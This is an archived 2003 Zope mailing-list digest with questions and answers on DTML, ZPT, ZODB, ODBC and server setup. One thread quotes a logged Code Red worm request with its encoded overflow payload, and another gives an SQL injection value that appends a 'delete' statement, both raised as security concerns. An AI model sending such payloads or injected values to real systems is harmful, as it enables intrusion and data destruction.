-> Return [0,1,2,3] Can I get a way with returning dictionaries inside of a list? Return [{'field1':'value1'},{'field2':'value2'}] Now for the part that is killing me. How do I address the values in the tags. If I use it works just fine for me by allowing me to address each field by name (ie. if there was a description field in the database) How do I do that with the above examples. Thanks for your help. Dylan Reinhardt wrote: >On Thu, 2003-08-07 at 15:24, Ben Bush wrote: > > >>I would like to use dtml-in to iterate through some results in a python >>script. I am not sure what format I need to put the results into in my >>python script to be able to reference them in the tags. I am >>currently trying to return a dictionary but that does not seem to work. >> >> > > >You can't iterate over a dictionary... at least, not yet. :-) > >Instead, have the script return a *list* of items to iterate over. That >should do the trick. > >HTH, > >Dylan > > > > From andreas at andreas-jung.com Fri Aug 8 07:22:33 2003 From: andreas at andreas-jung.com (Andreas Jung) Date: Fri Aug 8 00:22:28 2003 Subject: [Zope] Newbie question about zodb and script (python) In-Reply-To: <8025A66B-C94C-11D7-B7EA-0050E4CE2500@earthlink.net> References: <8025A66B-C94C-11D7-B7EA-0050E4CE2500@earthlink.net> Message-ID: <2147483647.1060323753@[192.168.0.100]> PythonScripts are restricted ! See lib/python/Products/PythonScripts/README.txt Use ExternalMethods to run Python code with restrictions. -aj --On Donnerstag, 7. August 2003 23:00 Uhr -0400 Daniel Tartaglia wrote: > I'm pretty raw with zope so far but I'm trying to save information that > is entered in a form, into a file. I tried pickling the object from in a > scrip (python) and when that didn't work (because the shelf module was > restricted) I tried using zodb instead but that module is restricted as > well. > > I seem to remember reading something about these restrictions and how to > get around them (something about calling actual python code?) but I can't > find the reference any more. > > I have an zpt form to allow a person to enter his first and last name, > how do I save the first and last name in a database file? The below > doesn't work because I can't import FileStorage... > > from ZODB import FileStorage, DB > > class Person: > pass > > storage = FileStorage( 'allDentest.fs' ) > dbase = DB( storage ) > connection = dbase.open() > root = connection.root() > ># create a unique entry id > id = '%d' % len(entries_folder.objectIds()) > > newDentist = Person() > newDentist.id = len( dbase ) > newDentist.firstName = first > newDentist.lastName = last > > root[newDentist.id] = newDentist > connection.get_transaction().commit() > connection.close() > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From andreas at andreas-jung.com Fri Aug 8 07:24:43 2003 From: andreas at andreas-jung.com (Andreas Jung) Date: Fri Aug 8 00:24:35 2003 Subject: [Zope] dtml-in format In-Reply-To: <3F32D186.8070306@center7.com> References: <3F32D186.8070306@center7.com> Message-ID: <2147483647.1060323883@[192.168.0.100]> --On Donnerstag, 7. August 2003 16:24 Uhr -0600 Ben Bush wrote: > I would like to use dtml-in to iterate through some results in a python > script. I am not sure what format I need to put the results into in my > python script to be able to reference them in the tags. I am > currently trying to return a dictionary but that does not seem to work. You need to return a sequence (means a list or a tuple). If you return a dict, then you need to iterate over the keys() or values() or items() of the dict but *not* over the dict itself. CHeck the Python docs for details. -aj From daniel_t at earthlink.net Fri Aug 8 01:24:56 2003 From: daniel_t at earthlink.net (Daniel Tartaglia) Date: Fri Aug 8 00:25:01 2003 Subject: [Zope] Newbie question about zodb and script (python) In-Reply-To: <2147483647.1060323753@[192.168.0.100]> Message-ID: <43AB96F2-C958-11D7-B7EA-0050E4CE2500@earthlink.net> Yes, I understand that PhythonScrips are restricted. But I can't find the information on how to use ExternalMethods... On Friday, August 8, 2003, at 12:22 AM, Andreas Jung wrote: > PythonScripts are restricted ! > See lib/python/Products/PythonScripts/README.txt > Use ExternalMethods to run Python code with restrictions. > > -aj > > --On Donnerstag, 7. August 2003 23:00 Uhr -0400 Daniel Tartaglia > wrote: > >> I'm pretty raw with zope so far but I'm trying to save information >> that >> is entered in a form, into a file. I tried pickling the object from >> in a >> scrip (python) and when that didn't work (because the shelf module was >> restricted) I tried using zodb instead but that module is restricted >> as >> well. >> >> I seem to remember reading something about these restrictions and how >> to >> get around them (something about calling actual python code?) but I >> can't >> find the reference any more. >> >> I have an zpt form to allow a person to enter his first and last name, >> how do I save the first and last name in a database file? The below >> doesn't work because I can't import FileStorage... >> >> from ZODB import FileStorage, DB >> >> class Person: >> pass >> >> storage = FileStorage( 'allDentest.fs' ) >> dbase = DB( storage ) >> connection = dbase.open() >> root = connection.root() >> >> # create a unique entry id >> id = '%d' % len(entries_folder.objectIds()) >> >> newDentist = Person() >> newDentist.id = len( dbase ) >> newDentist.firstName = first >> newDentist.lastName = last >> >> root[newDentist.id] = newDentist >> connection.get_transaction().commit() >> connection.close() >> >> >> _______________________________________________ >> Zope maillist - Zope@zope.org >> http://mail.zope.org/mailman/listinfo/zope >> ** No cross posts or HTML encoding! ** >> (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce >> http://mail.zope.org/mailman/listinfo/zope-dev ) > > > > From andreas at andreas-jung.com Fri Aug 8 07:27:46 2003 From: andreas at andreas-jung.com (Andreas Jung) Date: Fri Aug 8 00:27:37 2003 Subject: [Zope] Newbie question about zodb and script (python) In-Reply-To: <43AB96F2-C958-11D7-B7EA-0050E4CE2500@earthlink.net> References: <43AB96F2-C958-11D7-B7EA-0050E4CE2500@earthlink.net> Message-ID: <2147483647.1060324066@[192.168.0.100]> Zope Book? Online Help? -aj --On Freitag, 8. August 2003 0:24 Uhr -0400 Daniel Tartaglia wrote: > Yes, I understand that PhythonScrips are restricted. But I can't find the > information on how to use ExternalMethods... From jbgrove at highlights-corp.com Fri Aug 8 02:00:39 2003 From: jbgrove at highlights-corp.com (jbgrove@highlights-corp.com) Date: Fri Aug 8 01:01:20 2003 Subject: [Zope] Jamie B Grove/HFC/HFC_Corp is out of the office. Message-ID: I will be out of the office starting 08/07/2003 and will not return until 08/18/2003. In the event of problems with Highlights.com, please contact Marianna Dulkina at 614-487-2646 or mxdulkina@highlights-corp.com. For problems with the RackSpace (Kids Site) hosting environment, please contact Cindy Hite at 614-487-2684 or clhite@highlights-corp.com From rbickers-expires-1060928813.72a2e5 at logicetc.com Fri Aug 8 03:26:14 2003 From: rbickers-expires-1060928813.72a2e5 at logicetc.com (Ron Bickers) Date: Fri Aug 8 02:26:57 2003 Subject: [Zope] Using ZPT with options/radio/checkboxes In-Reply-To: <20030807205536.GE1260@slinkp.com> Message-ID: <002801c35d75$f779d760$0a00a8c0@logicetc.com> > -----Original Message----- > From: zope-bounces@zope.org [mailto:zope-bounces@zope.org]On Behalf Of > Paul Winkler > On Thu, Aug 07, 2003 at 04:22:01PM -0400, Ron Bickers wrote: > > If I define somevar as follows, which I commonly do: > > > > define="somevar session/somevar | nothing" > > > > Then yes, somevar will exist, but if it's 'nothing', it won't have a get > > method. That's when it will raise the exception if I use your > code to check > > it. > > > > Hmmm... Should I define somevar like this instead? > > > > define="somevar session/somevar | python:{}" > > maybe... sometimes... i dunno? > i think i've reached the end of my ability to generalize about > this topic :-) Ok. I'm actually in the middle of working on a form-heavy site where this type of stuff is needed a lot, thus my interest in this in a non-generalized fashion. I changed my somevar definition as I suggested to myself above and used your simplified versions. All is working well and I like it much better. For the record and the archives... I just realized that in my examples I specified None as the optional second argument to get(), forgetting that None is the default, so it can be left out. Thanks for your input, Paul. _______________________ Ron Bickers Logic Etc, Inc. From rbickers-expires-1060929039.2df920 at logicetc.com Fri Aug 8 03:29:59 2003 From: rbickers-expires-1060929039.2df920 at logicetc.com (Ron Bickers) Date: Fri Aug 8 02:30:47 2003 Subject: [Zope] Using ZPT with options/radio/checkboxes In-Reply-To: <3F328595.6040008@nipltd.com> Message-ID: <002b01c35d76$7e1a1af0$0a00a8c0@logicetc.com> > -----Original Message----- > From: zope-bounces@zope.org [mailto:zope-bounces@zope.org]On Behalf Of > Chris Withers > Paul Winkler wrote: > > 1) It's surprising - other attributes don't behave this way. > > Not very. The attributes it applies to need this, and I think it > only happens if > the content type of the ZPT is text/html. Try doing a checkbox > withotu this > feature ;-) Now that we've determined that it's pretty easy to do a checkbox without this feature, should it still be used/abused? Any reason this behavior would be removed from a future Zope, or is this a (not well-documented) convenience that will stay? _______________________ Ron Bickers Logic Etc, Inc. From zope at dylanreinhardt.com Fri Aug 8 07:52:10 2003 From: zope at dylanreinhardt.com (Dylan Reinhardt) Date: Fri Aug 8 02:52:12 2003 Subject: [Zope] dtml-in format In-Reply-To: <3F3323C7.2050509@center7.com> References: <3F32D186.8070306@center7.com> <1060296600.18995.3.camel@ida.dylanreinhardt.com> <3F3323C7.2050509@center7.com> Message-ID: <1060325503.19420.12.camel@ida.dylanreinhardt.com> On Thu, 2003-08-07 at 21:15, Ben Bush wrote: > How do I address each item in the list? Can you give me an example if I > were to return a list of integers and a dicitionary list. Sure. Search the online help for "in" for details. -------- foo: bar: : ------- Running the above should produce: foo: 1 bar: 2 foo: 3 bar: 5 foo: 7 bar: 8 HTH, Dylan From thierry.florac at onf.fr Fri Aug 8 09:52:15 2003 From: thierry.florac at onf.fr (Thierry Florac) Date: Fri Aug 8 02:52:56 2003 Subject: [Zope] Duplicated keys in a BTreeFolder2 In-Reply-To: <1068254547.1060291383@[172.16.8.4]> References: <200308071011.22173.thierry.florac@onf.fr> <1068254547.1060291383@[172.16.8.4]> Message-ID: <200308080852.15747.thierry.florac@onf.fr> On Thursday 07 August 2003 21:23, Stefan H. Holek wrote: > Just a guess but do you have a bare 'except:' somewhere in your code that > is masking eventual ConflictErrors? I don't think so... My script is called by "index_html" for every loaded page ; all exceptions are actually handled by "standard_error_message", and I never got any "ConflictError" raised. Thierry P.S.: I'll be out of my office for three weeks since this evening, and so won't be able to provide further informations to you about this problem before September 1. > --On Donnerstag, 07. August 2003 10:11 +0200 Thierry Florac > > wrote: > > I currently use a custom subclass of BTreeFolder2 to store my site's > > users profiles (currently 3700). > > > > I've noticed several problems : > > - several keys (= user ids) are duplicated in this folder ; in the ZMI, > > these duplicated keys appear at the start of the list, unordered. > > - some keys are duplicated more than once ; if I try to delete one of > > them, the other duplicated keys are kept and can't be deleted, because > > the object doesn't exist !!! > > - if I try to cut a duplicated object and paste it into another folder, > > I receive an error message, saying that I'm trying to paste an object > > from a foreign database connection !!! From sdrees at sdrees.de Fri Aug 8 11:02:19 2003 From: sdrees at sdrees.de (Stefan Drees) Date: Fri Aug 8 04:02:23 2003 Subject: [Zope] Truncation Reading from ODBC In-Reply-To: <1060308254.17084.10.camel@jerry.westrick.local> References: <1060308254.17084.10.camel@jerry.westrick.local> Message-ID: <20030808080219.GA12798@knoten.biz> On Fri, Aug 08, 2003 at 04:04:14AM +0200 - a wonderful day - Jerry Westrick wrote: > I'm trying to read (and later probably write) large strings to a > postgress database. > > I'm using the egenix ODBC adapter, and the unix ODBC postgress driver. > > > When I read a column with 20,000+ characters I only get the first > 8194 characters. > > Is this: > 1) a Zope restriction? No. No I guess not (see below first) > 2) a UnixOdbc restriction? No. I guess not (see below first) > 3) a egenix ODBC restriction? No. I guess not (see below first) > 4) an ODBC protocol restiction? No. I guess not (see below first) What about PostgreSQL. Which Version? A short glimpse at the online postgresql manual - namely at http://www.postgresql.org/docs/7.2/static/datatype-character.html yields: """Note: Prior to PostgreSQL 7.2, strings that were too long were silently truncated, no error was raised. """ Ok, looking at the online docs of one of those prior versions is left as an exercise to the poster. But since such a few kilobyte limit isn't exactly what everyone likes, I wouldn't be to surprised, if the exact amount is nurried somwewhere ... Are those 20000+ characters really in the database? Hint: psql is a friend. All the best, Stefan Drees. -- Stefan Drees, sdrees@python.net, www.sdrees.biz Fingerprint = 516C C4EF 712A B26F 15C9 C7B7 5651 6964 D508 1B56 From elena.schulz at gmx.net Fri Aug 8 11:16:26 2003 From: elena.schulz at gmx.net (Elena Schulz) Date: Fri Aug 8 04:17:09 2003 Subject: [Zope] Re: sql_quote in dtml-var in zsql-Methods Message-ID: <003701c35d85$6edfcc60$010aa8c0@PCA> Hi Jim, thanks for your answer. Yes, I know about the quoting problem and what dtml-var does. But acording to my findings dtml-var plus sql_quote doesn't do the same thing. I couldn't find that it was doing anything with the quoting. That's why I'm asking. Also the different way dtml-var plus fmt=sql-quote. But I will check again. But another question: what should be done in the following construct: select from Here another kind of quoting would be needed or the following could be done: myCols = "a_table_col from a_table; delete * from a_table; select * " Thats the same problem, isn't it? What would help here? Just a double quoting like: select "" from ? -- Elena From elena.schulz at gmx.net Fri Aug 8 11:01:35 2003 From: elena.schulz at gmx.net (Elena Schulz) Date: Fri Aug 8 04:17:15 2003 Subject: [Zope] parameter transfer to a zsql-method (lists, dictionaries etc.) Message-ID: <003601c35d85$6e8be000$010aa8c0@PCA> Hi, I have problems with the parameter transfer to a zsql-method: With the Test - Tab of the ZMI the following ZSQL-method works fine without passing any parameters (i.e. with the default values) But if I call it with "return db.sql.device_list()", with "db.sql.device_list(['col1','col2'])" or with "db.sql.device_list(columns=['col1','col2'])" from a script I get the given errors. Can anybody enlight my understandig of how to pass parameters (e.g. lists, dictionaries) to zsql-methods especially so that they will work in an dtml-in construct? That would be very helpfull. --Thanks, Elena my ZSQL-Method: columns:list:string=* where:string="" sort_col:string="" sort_reverse:int=0 SELECT , FROM device_list the error details: Error Type: InError Error Value: Strings are not allowed as input to the in tag. Error error_tb: Traceback (innermost last): * Module ZPublisher.Publish, line 98, in publish * Module ZPublisher.mapply, line 88, in mapply * Module ZPublisher.Publish, line 39, in call_object * Module Shared.DC.Scripts.Bindings, line 252, in __call__ * Module Shared.DC.Scripts.Bindings, line 283, in _bindAndExec * Module Products.PythonScripts.PythonScript, line 315, in _exec * Module Script (Python), line 9, in test Line 9 * Module Shared.DC.ZRDB.DA, line 415, in __call__ * Module DocumentTemplate.DT_String, line 474, in __call__ * Module DocumentTemplate.DT_In, line 636, in renderwob InError: Strings are not allowed as input to the in tag. From stefan at epy.co.at Fri Aug 8 12:27:43 2003 From: stefan at epy.co.at (Stefan H. Holek) Date: Fri Aug 8 05:28:29 2003 Subject: [Zope] Using pydoc or epydoc on Zope products In-Reply-To: References: Message-ID: <1118935110.1060342063@[172.16.8.4]> Do you know zpydoc? Stefan --On Donnerstag, 07. August 2003 14:06 -0600 Sean Gillies wrote: > I have a Zope product (http://zope.org/Members/sgillies/zmapserver) > and am trying to put together documentation using pydoc or epydoc. > > Problem is that each of these croak when they inspect my packages > which import: > > import Globals > from Globals import Persistent > > pydoc reports > > ImportError: cannot import name Persistent -- The time has come to start talking about whether the emperor is as well dressed as we are supposed to think he is. /Pete McBreen/ From elena.schulz at gmx.net Fri Aug 8 12:27:58 2003 From: elena.schulz at gmx.net (Elena Schulz) Date: Fri Aug 8 05:28:48 2003 Subject: [Zope] exUserFolder: short error-message showing up prior to login form Message-ID: <005d01c35d8f$71736400$010aa8c0@PCA> Hi, using exUserFolder with Cookie based authentification (basic and secure) and database based auth.source an error message shows up for one or a half second before the login form appears and everything works as normal afterwards. This happens with the standart form or a customized one. It doesn't look very good so I want to stop that. Any clues about that? I cannot read that fast to tell you about the content of the error message. -- Elena From mik at alambitco.com Fri Aug 8 12:12:42 2003 From: mik at alambitco.com (Michele Ruberl) Date: Fri Aug 8 06:12:56 2003 Subject: [Zope] lines property size Message-ID: <014501c35d95$9b915890$08fe5651@milk> Hello, I'm storing a list of people filling a form in my Zope site in a folder property of type "lines". Now the number of lines has started to increase a lot... I know this is not the best choice, but I didn't expect the users to be so responsive at the time. Is there any limit to the size (= number of lines) of such property ? (just to be relaxed while developing a better way to store it, e.g. a TinyTable...) Thanks Mik From Jerry at Westrick.Com Fri Aug 8 11:13:23 2003 From: Jerry at Westrick.Com (Jerry Westrick) Date: Fri Aug 8 06:13:25 2003 Subject: [Zope] Truncation Reading from ODBC In-Reply-To: <20030808080219.GA12798@knoten.biz> References: <1060308254.17084.10.camel@jerry.westrick.local> <20030808080219.GA12798@knoten.biz> Message-ID: <1060336219.20158.9.camel@jerry.westrick.local> Stefan... Muchachas Graciosas! Um, yes the 20000+ characters are really in the database (as seen with PGADMIN II) and confirmed with "select length(contents) from files" hmmm, but I'm glad to hear all the no's, maybe I'll find a work around then... Back to inserting debug print statements.... On Fri, 2003-08-08 at 10:02, Stefan Drees wrote: > On Fri, Aug 08, 2003 at 04:04:14AM +0200 - a wonderful day > - Jerry Westrick wrote: > > I'm trying to read (and later probably write) large strings to a > > postgress database. > > > > I'm using the egenix ODBC adapter, and the unix ODBC postgress driver. > > > > > > When I read a column with 20,000+ characters I only get the first > > 8194 characters. > > > > Is this: > > 1) a Zope restriction? > No. No I guess not (see below first) > > > 2) a UnixOdbc restriction? > No. I guess not (see below first) > > > 3) a egenix ODBC restriction? > No. I guess not (see below first) > > > 4) an ODBC protocol restiction? > No. I guess not (see below first) > > What about PostgreSQL. Which Version? > A short glimpse at the online postgresql manual - namely at > http://www.postgresql.org/docs/7.2/static/datatype-character.html > yields: > """Note: Prior to PostgreSQL 7.2, strings that were too > long were silently truncated, no error was raised. > """ > Ok, looking at the online docs of one of those prior versions > is left as an exercise to the poster. But since such a few kilobyte > limit isn't exactly what everyone likes, I wouldn't be to surprised, > if the exact amount is nurried somwewhere ... > > Are those 20000+ characters really in the database? Hint: > psql is a friend. > > > All the best, > Stefan Drees. From sdrees at sdrees.de Fri Aug 8 13:35:48 2003 From: sdrees at sdrees.de (Stefan Drees) Date: Fri Aug 8 06:35:52 2003 Subject: [Zope] Truncation Reading from ODBC In-Reply-To: <1060336219.20158.9.camel@jerry.westrick.local> References: <1060308254.17084.10.camel@jerry.westrick.local> <20030808080219.GA12798@knoten.biz> <1060336219.20158.9.camel@jerry.westrick.local> Message-ID: <20030808103548.GA15820@knoten.biz> On Fri, Aug 08, 2003 at 11:50:19AM +0200 - a wonderful day - Jerry Westrick wrote: > On Fri, 2003-08-08 at 10:02, Stefan Drees wrote: > > On Fri, Aug 08, 2003 at 04:04:14AM +0200 - a wonderful day > > - Jerry Westrick wrote: > > > I'm trying to read (and later probably write) > > > large strings to a postgress database. > > > > > > I'm using the egenix ODBC adapter, and the unix ODBC > > > postgress driver. > > > > > > When I read a column with 20,000+ characters I only get > > > the first 8194 characters. ... any (minimal code?) didi you try to fire up another of those unknown readcalls? See below ... > > > Is this: > > > 1) a Zope restriction? > > No. No I guess not (see below first) > > > 2) a UnixOdbc restriction? > > No. I guess not (see below first) > > > 3) a egenix ODBC restriction? > > No. I guess not (see below first) > > > 4) an ODBC protocol restiction? > > No. I guess not (see below first) > > ... > > Are those 20000+ characters really in the database? Hint: > > psql is a friend. > Um, yes the 20000+ characters are really in the database > (as seen with PGADMIN II) > > and confirmed with "select length(contents) from files" > > hmmm, but I'm glad to hear all the no's, maybe I'll find > a work around then... > > Back to inserting debug print statements.... ... or reading the API docs? Something like 8kb seems like a nice first guess buffer size ;) probably you have to iterate those read calls to get all data? Just guessing. Ah yes, and be aware my "No. I guess not"s take into account, that You did not state some minimal code, so someone more fluent with these APIs could have a guess ... All the best, Stefan Drees. -- Stefan Drees, sdrees@python.net, www.sdrees.biz Fingerprint = 516C C4EF 712A B26F 15C9 C7B7 5651 6964 D508 1B56 From chrisw at nipltd.com Fri Aug 8 12:49:24 2003 From: chrisw at nipltd.com (Chris Withers) Date: Fri Aug 8 06:46:28 2003 Subject: [Zope] From FTP to FTP copy support? References: <3F2692A8001ACC6B@stateless2.tiscali.cz> (added by postmaster@mail.tiscali.cz) Message-ID: <3F338034.4030401@nipltd.com> Jaroslav Lukesh wrote: > OK, I have FTP client with two FTP sessions at the same zope FTP server, > but with different folders. One server client opens in active mode > transfer, second in passive mode transfer. Data channell is not going into > FTP client, only control channell. Put both connections into passive mode. > I was test it with sample files, this is OK, but folder and some files that > I want to remote copy have error in creation via FTP (I must make it via > ZMI). Find otu why the creation is failing. What type of objects are you trying to create? cheers, Chris From lizm at rcsltd.co.uk Fri Aug 8 13:21:39 2003 From: lizm at rcsltd.co.uk (Liz Marlow) Date: Fri Aug 8 07:21:44 2003 Subject: [Zope] Backup/Restore Zope Message-ID: <200308081221.AA128712974@rcsltd.co.uk> Hi I hope someone can help me - I want to make a copy of my zope data on a different machine. I stopped zope on A, tared the whole of the zope dir, ftped it to B, untarred it and started zope on B, but when I go to the manage page it comes up with error "PROXY ERROR The proxy server could not handle the request GET /manage_workspace." (or redirects to the ip of A if I start zope on A). Does anyone know what I've done wrong. Many thanks Liz ________________________________________________________________ Sent via the WebMail system at rcsltd.co.uk From chrisw at nipltd.com Fri Aug 8 13:54:58 2003 From: chrisw at nipltd.com (Chris Withers) Date: Fri Aug 8 07:52:00 2003 Subject: [Zope] Oracle zope-python Adapter for windows References: Message-ID: <3F338F92.5000702@nipltd.com> Ashish Thapliyal wrote: > Dear All > > Does anyone having information about binaries for oracle zope adapter for > python 2.2 or higher , the one i got is for python 1.5 .Thanks in Advance http://www.zope.org/Members/matt/dco2 Chris From jmeile at hotmail.com Fri Aug 8 15:04:31 2003 From: jmeile at hotmail.com (Josef Meile) Date: Fri Aug 8 07:55:10 2003 Subject: [Zope] Re: Zope file size limit on linux? Message-ID: > On Windows 2000 i've encountered a 2GB limit on the size of a ZODB > file. > Is there such a limit on Linux (vanilla Redhat 8, out of the box), > and if so, what is that limit? If I'm not wrong, that was a problem with the c library of the old kernels. The new kernels include large file support; however, you have also to compile python to support it. Search the archives or zope.org to see how this is done. There is a couple of how-tos. I've tested files bigger than 2 Gb on RedHat 7.3 and the latest kernel and it works, so I guess it should work for 8.0 too. Regards, Josef From jwashin at vt.edu Fri Aug 8 09:18:01 2003 From: jwashin at vt.edu (Jim Washington) Date: Fri Aug 8 08:21:30 2003 Subject: [Zope] exUserFolder: short error-message showing up prior to login form In-Reply-To: <005d01c35d8f$71736400$010aa8c0@PCA> References: <005d01c35d8f$71736400$010aa8c0@PCA> Message-ID: <3F3394F9.8040506@vt.edu> Elena Schulz wrote: >Hi, > >using exUserFolder with Cookie based authentification (basic and secure) and >database based auth.source an error message shows up for one or a half >second before the login form appears and everything works as normal >afterwards. >This happens with the standart form or a customized one. It doesn't look >very good so I want to stop that. > >Any clues about that? I cannot read that fast to tell you about the content >of the error message. > > Hi, Elena It's a page in the redirectToLogin process, which is supposed to time-out at zero seconds, then get the login page. It's up to the browser to do that quickly. Recently, I was having trouble getting the login page to show up at all, and found that CookieCrumbler was the missing piece that made it all work. You might try putting a CookieCrumbler in the folder with the exUserFolder and see if this behavior is lessened. It's got prettier login forms, too. -- Jim Washington From bz at bwanazulia.com Fri Aug 8 08:56:26 2003 From: bz at bwanazulia.com (BZ) Date: Fri Aug 8 08:57:05 2003 Subject: [Zope] Backup/Restore Zope In-Reply-To: <200308081221.AA128712974@rcsltd.co.uk> References: <200308081221.AA128712974@rcsltd.co.uk> Message-ID: <50088.199.67.140.20.1060347386.squirrel@webmail.mahnke.net> Sounds like machine B is not set up with the correct proxy information in your webserver (guessing Apache). BZ > Hi > > I hope someone can help me - I want to make a copy of my zope data on a > different machine. > > I stopped zope on A, tared the whole of the zope dir, ftped it to B, > untarred it and started zope on B, but when I go to the manage page it > comes up with error "PROXY ERROR The proxy server could not handle the > request GET /manage_workspace." (or redirects to the ip of A if I start > zope on A). > > Does anyone know what I've done wrong. > > Many thanks > Liz > > > > > > ________________________________________________________________ > Sent via the WebMail system at rcsltd.co.uk > > > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From bz at bwanazulia.com Fri Aug 8 09:00:14 2003 From: bz at bwanazulia.com (BZ) Date: Fri Aug 8 09:00:52 2003 Subject: [Zope] can't pack large Data.fs (2.5GB) In-Reply-To: <3F32D073.5000005@localguru.de> References: <3F32D073.5000005@localguru.de> Message-ID: <41543.199.67.140.20.1060347614.squirrel@webmail.mahnke.net> Make a copy of it, and try using fsrecover.py on it which has a pack option. Cheers, BZ > Hi, > > can't pack a 2.5GB big Data.fs through the ZMI: > > Zope Error: > ---------- > Zope has encountered an error while publishing this resource. > > Error Type: OverflowError > Error Value: integer addition > ---------- > > System is Debian woody with ext3: > ---------- > (Zope 2.6.2 (CVS 20030518 source release, python 2.1, linux2), python > 2.1.3, linux2) Python Version > > 2.1.3 (#1, Sep 7 2002, 15:29:56) [GCC 2.95.4 20011002 (Debian > prerelease)] System Platform > ---------- > > traceback: > ---------- > 2003-08-07T23:16:18 ERROR(200) ZODB packing > Traceback (innermost last): > File /home/dzug/Zope/lib/python/ZODB/DB.py, line 502, in pack > File /home/dzug/Zope/lib/python/ZODB/FileStorage.py, line 1503, in pack > (Object: /home/dzug/Zope/var/Data.fs) > File /home/dzug/Zope/lib/python/ZODB/fspack.py, line 658, in pack > File /home/dzug/Zope/lib/python/ZODB/fspack.py, line 442, in > findReachable > File /home/dzug/Zope/lib/python/ZODB/fspack.py, line 459, in > buildPackIndex > OverflowError: integer addition > ---------- > > If it was a LFS problem the zope wouldn't run. And I think the woody's > python (Version: 2.1.3-3.2) is built with LFS support. > > Any ideas? > > Cheers, > M. > > -- > Marcus Schopen (0> > P.O. Box 10 25 25 //\ Deutsche Zope User Group > D-33525 Bielefeld V_/_ www.dzug.org > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From tore.agblad at swipnet.se Fri Aug 8 16:24:48 2003 From: tore.agblad at swipnet.se (tore.agblad@swipnet.se) Date: Fri Aug 8 09:24:52 2003 Subject: [Zope] Plone error Message-ID: <20030808132447.HDET29848.fep02-svc.swip.net@mta-int.swip.net> Hi. I get this message when trying to start after adding Plone to the Products folder. Any ideas ?? /Tore in Sweden Traceback (most recent call last): File "/usr/share/zope261/lib/python/OFS/Application.py", line 541, in import_product product=__import__(pname, global_dict, global_dict, silly) File "/usr/share/zope261/lib/python/Products/CMFPlone/__init__.py", line 3, in ? import migrations ImportError: No module named migrations ________________________________ Tore Agblad Trulseg?rdsv?gen 15 423 59 Torslanda tore.agblad@swipnet.se ------------------------------------------------- WebMail fr?n Tele2 http://www.tele2.se ------------------------------------------------- From lukesh at seznam.cz Fri Aug 8 12:24:59 2003 From: lukesh at seznam.cz (Jaroslav Lukesh) Date: Fri Aug 8 09:26:24 2003 Subject: [Zope] zope, curious http requests, apache Message-ID: <3F2692A8001C3BD7@stateless2.tiscali.cz> (added by postmaster@mail.tiscali.cz) > Odes?latel: Stuart Robinson > I'm having my second 'play' with zope, this time round however I've go it > exposed to the world through port 80 (running on port 80), firewalled etc. hmmm...... > I notices in Zope's output stream in the terminal window this evening a > curious "ZServer Bad HTTP request: 'GET > /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX > XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX > XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX > XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090% > u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090% > u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0'" .. > which if I'm not mistaken is a deliberate or scripted attack? It is lame attack. My zope mail me all errors and exactly these errors are in 80% of all. Others thinks that I have /disk_c or so under my Linux server :-))))) > 1st question: This is nothing to worry about with zope, right? not as much. Sometimes it cause zope stops to responding or go to death (in windows occurs 1-2 times per week, under Linux I was run zope in wild inet without proxy for one month without problem :-). I reccomend you to use minimalistic but powerfull pound reverse proxy before (www.apsis.ch/pound/). > 2nd question: is runing zope behind Apache any help?, and if so (while I > appreciate it is not trivial), what sort of things should I look out for? yes, it helps, but you could have potential security problem with apache. Use pound instead if you dont need apache. > Does anyone know of an 'everymans[!] guide to setting up apache and not doing > it the WRONG way'? (sorry that's probably my quota of questions tonight I > know!) :-) Yes, today I was find that info in early morning somewhere at www.zopera.org (i think, not sure), but it is in french. But I think that these infos are in zope.org too, but use google for that searching. I mean old zope site, not new, because new site has problems with howto and products section (it shows only first 100 instead all). Regards JL. From lukesh at seznam.cz Fri Aug 8 12:10:46 2003 From: lukesh at seznam.cz (Jaroslav Lukesh) Date: Fri Aug 8 09:26:34 2003 Subject: [Zope] can't pack large Data.fs (2.5GB) Message-ID: <3F2692A8001C3C93@stateless2.tiscali.cz> (added by postmaster@mail.tiscali.cz) > Odes?latel: Marcus Schopen > can't pack a 2.5GB big Data.fs through the ZMI: Do you have free space at partition with Zope? If does not help anything other...: try to export your root folder objects (you know which ;-), stop zope, copy fresh data.fs from zope installation tarball, start zope and import objects. Regards JL. From lukesh at seznam.cz Fri Aug 8 16:34:47 2003 From: lukesh at seznam.cz (Jaroslav Lukesh) Date: Fri Aug 8 09:37:50 2003 Subject: [Zope] From FTP to FTP copy support? Message-ID: <3F2692A8001C4284@stateless2.tiscali.cz> (added by postmaster@mail.tiscali.cz) > Odes?latel: Chris Withers > Jaroslav Lukesh wrote: > > I was test it with sample files, this is OK, but folder and some files that > > I want to remote copy have error in creation via FTP (I must make it via > > ZMI). > > Find otu why the creation is failing. What type of objects are you trying to create? It depends on the name of imported objects, not the type (DTML Document (default for FTP), images, Folders). For example I frequently use object names like "1", "01" etc, but it does not allow to create "images" folder too. At another place of folder tree it allows to create documents/folders with that names. Somebody few times ago says me that FTP has sometime problems with acquisition. BUT: I run Zope on Windows (development, need MSIE) and on Linux (HQ server). On Linux these problems occur less frequently (I cannot remember if any ?? ) than under windows. Regards JL. From elena.schulz at gmx.net Fri Aug 8 17:53:52 2003 From: elena.schulz at gmx.net (Elena 